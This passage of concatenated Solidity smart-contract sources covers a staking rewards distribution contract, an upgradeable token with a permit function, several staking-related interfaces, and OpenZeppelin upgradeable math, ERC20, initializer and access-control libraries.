_newState) internal { state = _newState; emit StateChange(uint256(_newState)); } /** * @notice Function to change DISTRIBUTION_END if timestamp is less than the initial one **/ function _endDistributionIfNeeded() internal { if (block.timestamp <= DISTRIBUTION_END) { _changeDistributionEndDate(block.timestamp); } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import './lib/DistributionTypes.sol'; import './interfaces/IStakingRewards.sol'; import '@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol'; import '../../../utils/SafeMathUint128.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import '@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol'; /** * @title StakingRewards * @notice Accounting contract to manage multiple staking distributions * @author Aave / Ethichub **/ contract StakingRewards is Initializable, IStakingRewards, AccessControlUpgradeable { bytes32 public constant EMISSION_MANAGER_ROLE = keccak256('EMISSION_MANAGER'); using SafeMathUpgradeable for uint256; using SafeMathUint128 for uint128; struct AssetData { uint128 emissionPerSecond; uint128 lastUpdateTimestamp; uint256 index; mapping(address => uint256) users; } uint256 public DISTRIBUTION_END; uint8 constant public PRECISION = 18; mapping(address => AssetData) public assets; event AssetConfigUpdated(address indexed asset, uint256 emission); event AssetIndexUpdated(address indexed asset, uint256 index); event UserIndexUpdated(address indexed user, address indexed asset, uint256 index); event DistributionEndChanged(uint256 distributionEnd); function __StakingRewards_init(address emissionManager, uint256 distributionDuration) public initializer { __AccessControl_init_unchained(); DISTRIBUTION_END = block.timestamp.add(distributionDuration); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(EMISSION_MANAGER_ROLE, emissionManager); } /** * @dev Configures the distribution of rewards for a list of assets * @param assetsConfigInput The list of configurations to apply **/ function configureAssets(DistributionTypes.AssetConfigInput[] memory assetsConfigInput) public override { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); for (uint256 i = 0; i < assetsConfigInput.length; i++) { AssetData storage assetConfig = assets[assetsConfigInput[i].underlyingAsset]; _updateAssetStateInternal( assetsConfigInput[i].underlyingAsset, assetConfig, assetsConfigInput[i].totalStaked ); assetConfig.emissionPerSecond = assetsConfigInput[i].emissionPerSecond; emit AssetConfigUpdated( assetsConfigInput[i].underlyingAsset, assetsConfigInput[i].emissionPerSecond ); } } /** * @notice Change distribution end datetime * @param _distributionEndDate new distribution end datetime (UNIX Timestamp) */ function changeDistributionEndDate(uint256 _distributionEndDate) public override { require(hasRole(EMISSION_MANAGER_ROLE, msg.sender), 'ONLY_EMISSION_MANAGER'); return _changeDistributionEndDate(_distributionEndDate); } /** * @notice Change distribution end datetime internal function * @param _distributionEndDate new distribution end datetime (UNIX Timestamp) */ function _changeDistributionEndDate(uint256 _distributionEndDate) internal { DISTRIBUTION_END = _distributionEndDate; emit DistributionEndChanged(DISTRIBUTION_END); } /** * @dev Updates the state of one distribution, mainly rewards index and timestamp * @param underlyingAsset The address used as key in the distribution * @param assetConfig Storage pointer to the distribution's config * @param totalStaked Current total of staked assets for this distribution * @return The new distribution index **/ function _updateAssetStateInternal( address underlyingAsset, AssetData storage assetConfig, uint256 totalStaked ) internal returns (uint256) { uint256 oldIndex = assetConfig.index; uint128 lastUpdateTimestamp = assetConfig.lastUpdateTimestamp; if (block.timestamp == lastUpdateTimestamp) { return oldIndex; } uint256 newIndex = _getAssetIndex( oldIndex, assetConfig.emissionPerSecond, lastUpdateTimestamp, totalStaked ); if (newIndex != oldIndex) { assetConfig.index = newIndex; emit AssetIndexUpdated(underlyingAsset, newIndex); } assetConfig.lastUpdateTimestamp = uint128(block.timestamp); return newIndex; } /** * @dev Updates the state of an user in a distribution * @param user The user's address * @param asset The address of the reference asset of the distribution * @param stakedByUser Amount of tokens staked by the user in the distribution at the moment * @param totalStaked Total tokens staked in the distribution * @return The accrued rewards for the user until the moment **/ function _updateUserAssetInternal( address user, address asset, uint256 stakedByUser, uint256 totalStaked ) internal returns (uint256) { AssetData storage assetData = assets[asset]; uint256 userIndex = assetData.users[user]; uint256 accruedRewards = 0; uint256 newIndex = _updateAssetStateInternal(asset, assetData, totalStaked); if (userIndex != newIndex) { if (stakedByUser != 0) { accruedRewards = _getRewards(stakedByUser, newIndex, userIndex); } assetData.users[user] = newIndex; emit UserIndexUpdated(user, asset, newIndex); } return accruedRewards; } /** * @dev Used by "frontend" stake contracts to update the data of an user when claiming rewards from there * @param user The address of the user * @param stakes List of structs of the user data related with his stake * @return The accrued rewards for the user until the moment **/ function _claimRewards(address payable user, DistributionTypes.UserStakeInput[] memory stakes) internal returns (uint256) { uint256 accruedRewards = 0; for (uint256 i = 0; i < stakes.length; i++) { accruedRewards = accruedRewards.add( _updateUserAssetInternal( user, stakes[i].underlyingAsset, stakes[i].stakedByUser, stakes[i].totalStaked ) ); } return accruedRewards; } /** * @dev Return the accrued rewards for an user over a list of distribution * @param user The address of the user * @param stakes List of structs of the user data related with his stake * @return The accrued rewards for the user until the moment **/ function _getUnclaimedRewards(address user, DistributionTypes.UserStakeInput[] memory stakes) internal view returns (uint256) { uint256 accruedRewards = 0; for (uint256 i = 0; i < stakes.length; i++) { AssetData storage assetConfig = assets[stakes[i].underlyingAsset]; uint256 assetIndex = _getAssetIndex( assetConfig.index, assetConfig.emissionPerSecond, assetConfig.lastUpdateTimestamp, stakes[i].totalStaked ); accruedRewards = accruedRewards.add( _getRewards(stakes[i].stakedByUser, assetIndex, assetConfig.users[user]) ); } return accruedRewards; } /** * @dev Internal function for the calculation of user's rewards on a distribution * @param principalUserBalance Amount staked by the user on a distribution * @param reserveIndex Current index of the distribution * @param userIndex Index stored for the user, representation his staking moment * @return The rewards **/ function _getRewards( uint256 principalUserBalance, uint256 reserveIndex, uint256 userIndex ) internal view returns (uint256) { return principalUserBalance.mul(reserveIndex.sub(userIndex)).div(10**uint256(PRECISION)); } /** * @dev Calculates the next value of an specific distribution index, with validations * @param currentIndex Current index of the distribution * @param emissionPerSecond Representing the total rewards distributed per second per asset unit, on the distribution * @param lastUpdateTimestamp Last moment this distribution was updated * @param totalBalance of tokens considered for the distribution * @return The new index. **/ function _getAssetIndex( uint256 currentIndex, uint256 emissionPerSecond, uint128 lastUpdateTimestamp, uint256 totalBalance ) internal view returns (uint256) { if ( emissionPerSecond == 0 || totalBalance == 0 || lastUpdateTimestamp == block.timestamp || lastUpdateTimestamp >= DISTRIBUTION_END ) { return currentIndex; } uint256 currentTimestamp = block.timestamp > DISTRIBUTION_END ? DISTRIBUTION_END : block.timestamp; uint256 timeDelta = currentTimestamp.sub(lastUpdateTimestamp); return emissionPerSecond.mul(timeDelta).mul(10**uint256(PRECISION)).div(totalBalance).add( currentIndex ); } /** * @dev Returns the data of an user on a distribution * @param user Address of the user * @param asset The address of the reference asset of the distribution * @return The new index **/ function getUserAssetData(address user, address asset) public view returns (uint256) { return assets[asset].users[user]; } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import '../ERCs/ERC677/ERC677Upgradeable.sol'; import '../ERCs/ERC2612/ERC2612Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; import 'hardhat/console.sol'; contract BaseTokenUpgradeable is Initializable, ERC677Upgradeable, ERC2612Upgradeable { function __BaseTokenUpgradeable_init( address _initialAccount, uint256 _initialBalance, string memory _name, string memory _symbol, string memory _EIP712Name ) public initializer { __ERC677_init(_initialAccount, _initialBalance, _name, _symbol); __ERC2612_init(_EIP712Name); } function permit( address _holder, address _spender, uint256 _nonce, uint256 _expiry, bool _allowed, uint8 _v, bytes32 _r, bytes32 _s ) public override { bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256( abi.encode(PERMIT_TYPEHASH, _holder, _spender, _nonce, _expiry, _allowed) ) ) ); require(_holder != address(0), 'Token: invalid-address-0'); require(_holder == ecrecover(digest, _v, _r, _s), 'Token: invalid-permit'); require(_expiry == 0 || block.timestamp <= _expiry, 'Token: permit-expired'); require(_nonce == nonces[_holder]++, 'Token: invalid-nonce'); uint256 _amount = _allowed ? 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff : 0; _approve(_holder, _spender, _amount); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; interface IOriginatorManager { function setUpTerms( address auditor, address originator, address governance, uint256 auditorPercentage, uint256 originatorPercentage, uint256 stakingGoal, uint256 defaultDelay ) external; function renewTerms( uint256 newAuditorPercentage, uint256 newOriginatorPercentage, uint256 newStakingGoal, uint128 newDistributionDuration, uint256 newDefaultDelay ) external; function declareDefault(uint256 defaultedAmount) external; function liquidateProposerStake(uint256 amount, bytes32 role) external; function declareStakingEnd() external; function hasReachedGoal() external view returns (bool); } interface IProjectFundedRewards { function startProjectFundedRewards(uint128 extraEmissionsPerSecond, address lendingContractAddress) external; function endProjectFundedRewards(uint128 extraEmissionsPerSecond, address lendingContractAddress) external; } interface IStaking { function stake(address to, uint256 amount) external; function redeem(address to, uint256 amount) external; function claimRewards(address payable to, uint256 amount) external; function withdrawProposerStake(uint256 amount) external; function getTotalRewardsBalance(address staker) external view returns (uint256); } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; interface IReserve { event Transfer(address indexed to, uint256 amount); event RescueFunds(address token, address indexed to, uint256 amount); function balance() external view returns (uint256); function transfer(address payable _to, uint256 _value) external returns (bool); function rescueFunds( address _tokenToRescue, address _to, uint256 _amount ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUint128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b <= a, errorMessage); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b > 0, errorMessage); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; library DistributionTypes { struct AssetConfigInput { uint128 emissionPerSecond; uint256 totalStaked; address underlyingAsset; } struct UserStakeInput { address underlyingAsset; uint256 stakedByUser; uint256 totalStaked; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.7.5; pragma experimental ABIEncoderV2; import '../lib/DistributionTypes.sol'; interface IStakingRewards { function changeDistributionEndDate(uint256 date) external; function configureAssets(DistributionTypes.AssetConfigInput[] memory assetsConfigInput) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas 